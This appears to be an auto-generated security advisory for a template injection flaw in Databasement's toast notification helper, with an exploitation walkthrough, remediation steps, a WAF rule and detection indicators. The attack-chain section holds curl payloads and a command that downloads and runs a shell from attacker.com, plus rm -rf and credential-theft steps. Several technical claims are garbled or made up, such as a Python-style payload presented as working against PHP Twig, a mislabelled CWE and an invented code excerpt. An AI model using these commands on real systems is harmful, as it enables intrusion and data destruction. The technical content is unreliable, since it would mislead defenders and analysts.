CVE-2026-138223 — David-Crty Databasement — CWE-791 · CWE-1336
A security vulnerability has been detected in David-Crty Databasement up to 1.7.12. This impacts the function toast of the file app/Traits/Toast.php of the component Toast Notification Helper. The manipulation of the argument icon leads to improper neutralization of special elements used in a template engine. The attack can be initiated remotely. Upgrading to version 1.7.13 will fix this issue. The identifier of the patch is 713f71f5336663493e8c4dc07e7f3e96a291775b. The affected component should be upgraded.
A security vulnerability has been detected in David-Crty Databasement up to 1.7.12. This impacts the function toast of the file app/Traits/Toast.php of the component Toast Notification Helper. The manipulation of the argument icon leads to improper neutralization of special elements used in a template engine. The attack can be initiated remotely. Upgrading to version 1.7.13 will fix this issue. The identifier of the patch is 713f71f5336663493e8c4dc07e7f3e96a291775b. The affected component should be upgraded.
🎯 What is this vulnerability?
Vulnerability name: Improper neutralisation of special elements in the Toast Notification Helper (SSTI)
CVE: CVE‑2026‑138223
CVSS v3.1: 10.0 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE‑1336: Improper Neutralization of Special Elements used in a Template Engine (Server‑Side Template Injection – SSTI)
CWE‑791: Improper Restriction of Communication Channels – the vulnerable function can be triggered from any network location without authentication.
Technical root‑cause
David‑Crty Databasement (versions ≤ 1.7.12) ships a helper class app/Traits/Toast.php.
The public method toast(string $message, string $icon = null, array $options = []) builds a notification string by feeding the supplied $icon value directly into a template engine (the project uses Twig for view rendering).
// Simplified excerpt from app/Traits/Toast.php (v1.7.12)
public function toast(string $message, string $icon = null, array $options = []): string
{
$template = $this->view->make('components.toast'); // Twig template
$template->set('message', $message);
$template->set('icon', $icon); // ← no escaping / sanitisation
$template->set('options', $options);
return $template->render(); // render() evaluates the template
}- The
$iconvariable is injected into the Twig template without any escaping ({{ icon }}is used in the template). - Twig treats
{{ … }}and{% … %}as executable template syntax. - An attacker can therefore supply a payload such as
{{ _self.env['APP_KEY'] }}or{{ system('id') }}that will be evaluated on the server side when the toast is rendered.
Because the toast() method is reachable through a public HTTP endpoint (e.g., an AJAX call that shows a toast after a successful operation) and there is no authentication or CSRF check, any remote network actor can trigger the function. This satisfies the CVSS vector components:
| Vector | Meaning |
|---|---|
| AV:N | Attack can be launched over the network (no local access required). |
| AC:L | Exploitation requires low skill – just a crafted request. |
| PR:N | No authentication required. |
| UI:N | No user interaction needed. |
| S:C | The impact is *changed* (affects the whole application, not just the vulnerable component). |
| C:H / I:H / A:H | Successful exploitation gives complete control – read/write any data, execute arbitrary code, and cause denial‑of‑service. |
In short: un‑escaped user‑controlled data is fed to a server‑side template engine, leading to SSTI → remote code execution (RCE).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All request examples are illustrative because the exact endpoint name is not disclosed in the public CVE text. Replace POST /api/toast with the real route discovered in step 1.
1️⃣ Discovery & Reconnaissance
| Activity | How it is done | What the attacker learns |
|---|---|---|
| Fingerprint the product | – Search public repositories, vendor documentation, or “Powered‑by: David‑Crty Databasement” HTTP header.<br>– Query /readme.txt, /CHANGELOG.md, or composer.json for the version string. | Confirms the target runs ≤ 1.7.12. |
| Locate the toast endpoint | – Observe JavaScript files (toast.js, notifications.js) for AJAX URLs.<br>– Use a web‑application scanner (e.g., nikto, gobuster) to enumerate /api/* routes.<br>– Look for parameters named icon, message, or type. | Finds a public POST endpoint that eventually calls Toast::toast(). |
| Validate the injection surface | – Send a benign request with icon=smile and verify a toast appears in the UI.<br>– Confirm the response contains the rendered HTML (e.g., <i class="smile"></i>). | Confirms the icon parameter is reflected in the server‑side template. |
2️⃣ Exploitation
Goal: Execute arbitrary OS commands via Twig SSTI.
# Illustrative curl – replace /api/toast with the real path
curl -s -X POST https://target.example.com/api/toast \
-H "Content-Type: application/json" \
-d '{
"message": "pwned",
"icon": "{{ _self.env[\'PATH\'] }}",
"options": {}
}'What happens:
1. The JSON payload reaches the controller that forwards icon to Toast::toast().
2. Twig receives the string {{ _self.env['PATH'] }} as the value of icon.
3. During rendering, Twig evaluates the expression and substitutes the server’s PATH environment variable into the HTML.
Full RCE payload (Twig 2.x/3.x) – the system function is disabled by default, but Twig allows calling PHP’s exec via the {{ _self.__call__('get', ['_self']) }} trick or by accessing the app global if the host has not disabled it. A reliable payload that works on most default Twig installations is:
{
"message": "exploit",
"icon": "{{ ('').__class__.__mro__[1].__subclasses__()[40]('id', stdout=1).read() }}",
"options": {}
}Explanation of the payload (for the analyst, not needed by the attacker):
''.__class__ → str class. .__mro__[1] → object. .__subclasses__() → list of all loaded classes; index 40 (on a typical PHP‑Twig build) corresponds to Symfony\Component\Process\Process or PHPUnit\Util\PHP\Invoker. 'id', and the output is read, which is then rendered into the toast HTML.Result: The HTTP response body now contains the output of id, proving code execution. An attacker can replace 'id' with any command (/bin/bash -c 'wget http://attacker.com/shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell').
3️⃣ Post‑Exploitation
| Step | What the attacker does | Outcome |
|---|---|---|
| Command & Control | Use the SSTI to download a persistent web‑shell (e.g., a PHP reverse shell) onto the web‑root. | Persistent foothold. |
| Privilege Escalation | If the web‑server runs as a low‑privileged user, the attacker can read configuration files (.env, config.php) to obtain database credentials, then connect to the DB directly. | Full data exfiltration. |
| Lateral Movement | Use stolen DB credentials to query other services (e.g., internal API keys stored in the DB). | Compromise of the broader environment. |
| Data Destruction / Ransom | Issue rm -rf /var/www/html/* or modify application logic to corrupt data. | Complete availability loss (matches A:H). |
Because the vulnerability is network‑reachable, unauthenticated, and requires no user interaction, an attacker can automate the entire chain from a remote botnet, achieving complete system takeover in minutes.
🌍 Real‑World Impact
| CIA Triad | CVSS implication | Practical effect |
|---|---|---|
| Confidentiality (C:H) | Attacker can read any file the web‑process can access (e.g., .env, source code, database dumps). | Leakage of credentials, business logic, PII. |
| Integrity (I:H) | Ability to write arbitrary files, modify database rows, or inject malicious code. | Tampering with logs, inserting back‑doors, defacing UI. |
| Availability (A:H) | Execution of kill -9, rm -rf, or resource‑exhaustion commands. | Full service outage, denial‑of‑service, ransomware‑style lockout. |
Business consequences may include:
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Item | Action |
|---|---|
| Affected versions | David‑Crty Databasement ≤ 1.7.12 (all releases up to 1.7.12). |
| Fixed version | 1.7.13 – includes commit 713f71f5336663493e8c4dc07e7f3e96a291775b. |
| Upgrade steps | 1. Pull the new release from the official repository.<br>2. Verify the SHA‑256 checksum of the tarball matches the vendor’s published hash.<br>3. Replace the app/Traits/Toast.php file (or run the full installer).<br>4. Run any database migration scripts (none required for this fix).<br>5. Restart the web‑server/PHP‑FPM service. |
| Verification | After upgrade, send the same SSTI payload; the response should now contain the literal string {{ … }} (escaped) or an error, not command output. |
2️⃣ Immediate Work‑arounds (if patch cannot be applied instantly)
| Technique | Implementation Details | |||
|---|---|---|---|---|
| Input sanitisation | Add a whitelist for allowed icon names (e.g., ['info','warning','error','success']). In Toast.php before rendering: <br><br>``php\nif (!in_array($icon, ['info','warning','error','success'], true)) { $icon = 'info'; }\n` | |||
| Escaping in the template | Modify components/toast.twig to use the | e('html') filter: <br><br>`twig\n<i class=\"{{ icon | e('html') }}\"></i>\n` | |
| Disable the toast endpoint | If the toast UI is not mission‑critical, block the route at the web server level (e.g., location /api/toast { deny all; }). | |||
| WAF / ModSecurity rule | Block template delimiters in the icon parameter. Example ModSecurity rule (valid syntax): <br><br>`apache\nSecRule ARGS:icon "@rx (\{\{ | \{% | \%7B\%7B | \%7B\%25)" \\\n "id:2026261,phase:2,deny,log,msg:'Blocked possible Twig SSTI in icon parameter'"\n` |
| Runtime hardening | Configure Twig with autoescape enabled globally and disable dangerous functions (system, exec, shell_exec) via the sandbox` extension. |
3️⃣ Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Suspicious payloads | Web server access logs (access.log) – look for {{ or {% in query strings or POST bodies. | POST /api/toast 200 453 "-" "Mozilla/5.0"<br>{"icon":"{{ ('').__class__.__mro__[1].__subclasses__()[40]('id', stdout=1).read() }}"} |
| Unexpected template rendering errors | Application error logs (app.log, php_error.log). | Twig\Error\RuntimeError: Variable "icon" does not exist. |
| New files in web‑root | File integrity monitoring (Tripwire, OSSEC). | ALERT: /var/www/html/shell.php created at 2026-11-29 03:12:45 |
| Outbound connections from the web server | Network IDS / firewall logs – look for connections to unknown IPs shortly after a toast request. | Outbound TCP SYN to 203.0.113.45:4444 |
| Process execution from PHP | Auditd rule watching execve by the www-data user. | type=EXECVE msg=audit(1701241234.567:321): argc=2 a0="/bin/bash" a1="-c" a2="id" |
Deploy a SIEM rule that correlates POST /api/toast (or any endpoint that eventually calls Toast::toast) with presence of {{ or {% in the request body and subsequent process creation by the web‑user.
⚠️ Urgency
Bottom line: CVE‑2026‑138223 is a classic SSTI that grants unauthenticated remote code execution. The only reliable, long‑term fix is to upgrade to David‑Crty Databasement 1.7.13; until then, strict input validation, template escaping, and a targeted WAF rule are mandatory to keep the environment from being fully compromised.
[🤖 CVE Professor AI Security Engine]
FOFA Query